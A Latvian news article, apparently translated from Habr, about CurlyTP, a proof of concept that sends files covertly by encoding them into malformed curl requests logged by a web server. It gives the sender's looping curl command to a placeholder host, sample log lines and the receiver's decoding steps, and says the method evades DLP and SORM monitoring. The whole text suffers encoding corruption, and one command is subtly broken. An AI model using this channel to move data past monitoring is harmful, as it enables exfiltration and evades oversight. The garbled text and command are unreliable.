SaskaÅÄ ar VikipÄdiju, "miruÅ”Ä drop" ir slepena ierÄ«ce, ko izmanto informÄcijas vai priekÅ”metu apmaiÅai starp cilvÄkiem, izmantojot slepenu atraÅ”anÄs vietu. Ideja ir tÄda, ka cilvÄki nekad nesatiekas, bet joprojÄm apmainÄs ar informÄciju, saglabÄjot operatÄ«vo droŔību.
SlÄptuvei nevajadzÄtu piesaistÄ«t uzmanÄ«bu. TÄpÄc reÄlajÄ pasaulÄ bieži tiek izmantoti neuzkrÄ«toÅ”i priekÅ”meti: brÄ«vs Ä·ieÄ£elis sienÄ, bibliotÄkas grÄmata vai dobums kokÄ.
TieÅ”saistÄ ir pieejami daudzi Å”ifrÄÅ”anas un anonimizÄcijas rÄ«ki, taÄu pats fakts, ka tos izmanto, piesaista uzmanÄ«bu. TurklÄt tos var bloÄ·Ät korporatÄ«vajÄ vai valdÄ«bas lÄ«menÄ«. Ko jums darÄ«t?
IzstrÄdÄtÄjs Raiens Flauerss ir izdomÄjis interesantu risinÄjumu: Ja padomÄ, ko dara tÄ«mekļa serveris? Tas pieÅem pieprasÄ«jumus, apkalpo failus un raksta žurnÄlu. Un tas reÄ£istrÄ visus pieprasÄ«jumus, pat nepareizas!
IzrÄdÄs, ka jebkurÅ” tÄ«mekļa serveris var saglabÄt praktiski jebkuru ziÅojumu savÄ Å¾urnÄlÄ. Flauers sÄka domÄt, kÄ to izmantot.
ViÅÅ” iesaka Å”Ädu variantu:
- MÄs Åemam teksta failu (slepeno ziÅojumu) un aprÄÄ·inÄm heÅ”u (md5sum).
- MÄs to kodÄjam (gzip+uuencode).
- MÄs rakstÄm žurnÄlÄ, apzinÄti nosÅ«tot serverim nepareizu pieprasÄ«jumu.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | shLai lasÄ«tu failu, Ŕīs darbÄ«bas jÄveic apgrieztÄ secÄ«bÄ: atÅ”ifrÄt un izsaiÅot failu, pÄrbaudÄ«t jaucÄjkodu (jaucÄjkodu var droÅ”i pÄrsÅ«tÄ«t pa atvÄrtiem kanÄliem).
Atstarpes tiek aizstÄtas ar =+=, tÄpÄc adresÄ nav atstarpju. Programma, ko autors sauc par CurlyTP, izmanto base64 kodÄjumu, tÄpat kÄ e-pasta pielikumos. PieprasÄ«jums tiek veikts ar atslÄgvÄrdu. ?transfer?lai saÅÄmÄjs to varÄtu viegli atrast žurnÄlos.
Ko mÄs Å”ajÄ gadÄ«jumÄ redzam protokolos?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"KÄ jau minÄts, lai iegÅ«tu slepenu ziÅojumu, darbÄ«bas jÄveic apgrieztÄ secÄ«bÄ:
Remote machine
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 gProcesu var viegli automatizÄt. md5sum sakrÄ«t, un faila saturs apstiprina, ka viss ir dekodÄts pareizi.
Metode ir ļoti vienkÄrÅ”a. "Å Ä« vingrinÄjuma mÄrÄ·is ir vienkÄrÅ”i pierÄdÄ«t, ka failus var pÄrsÅ«tÄ«t, izmantojot nevainÄ«gus mazus tÄ«mekļa pieprasÄ«jumus, un ka tas darbojas jebkurÄ tÄ«mekļa serverÄ« ar vienkÄrÅ”a teksta žurnÄliem. BÅ«tÄ«bÄ katrs tÄ«mekļa serveris ir nederÄ«gs!" raksta Flauerss.
Protams, Ŕī metode darbojas tikai tad, ja saÅÄmÄjam ir piekļuve servera žurnÄliem. TaÄu, piemÄram, daudzi mitinÄÅ”anas pakalpojumu sniedzÄji nodroÅ”ina Å”Ädu piekļuvi.
KÄ to izmantot?
Raiens Flauers saka, ka viÅÅ” nav informÄcijas droŔības eksperts un neapkopos iespÄjamo CurlyTP lietojumu sarakstu. ViÅam tas ir vienkÄrÅ”i koncepcijas pierÄdÄ«jums tam, ka pazÄ«stamus rÄ«kus, ko redzam ikdienÄ, var izmantot netradicionÄlos veidos.
Faktiski Å”ai metodei ir vairÄkas priekÅ”rocÄ«bas salÄ«dzinÄjumÄ ar citÄm servera āslÄptuvÄmā, piemÄram, vai Tam nav nepiecieÅ”ama Ä«paÅ”a servera puses konfigurÄcija vai protokoli, un tas neradÄ«s aizdomas datplÅ«smas monitoru vidÅ«. Maz ticams, ka SORM vai DLP sistÄmas skenÄs URL, meklÄjot saspiestus teksta failus.
Å is ir viens no veidiem, kÄ pÄrsÅ«tÄ«t ziÅojumus, izmantojot pakalpojumu failus. JÅ«s, iespÄjams, atceraties, kÄ daži progresÄ«vi uzÅÄmumi agrÄk izvietoja vai HTML lapu kodÄ.
Ideja bija tÄda, ka Å”Ädu Lieldienu olu redzÄs tikai tÄ«mekļa izstrÄdÄtÄji, jo normÄls cilvÄks neskatÄ«tos galvenes vai HTML kodu.
Avots: www.habr.com
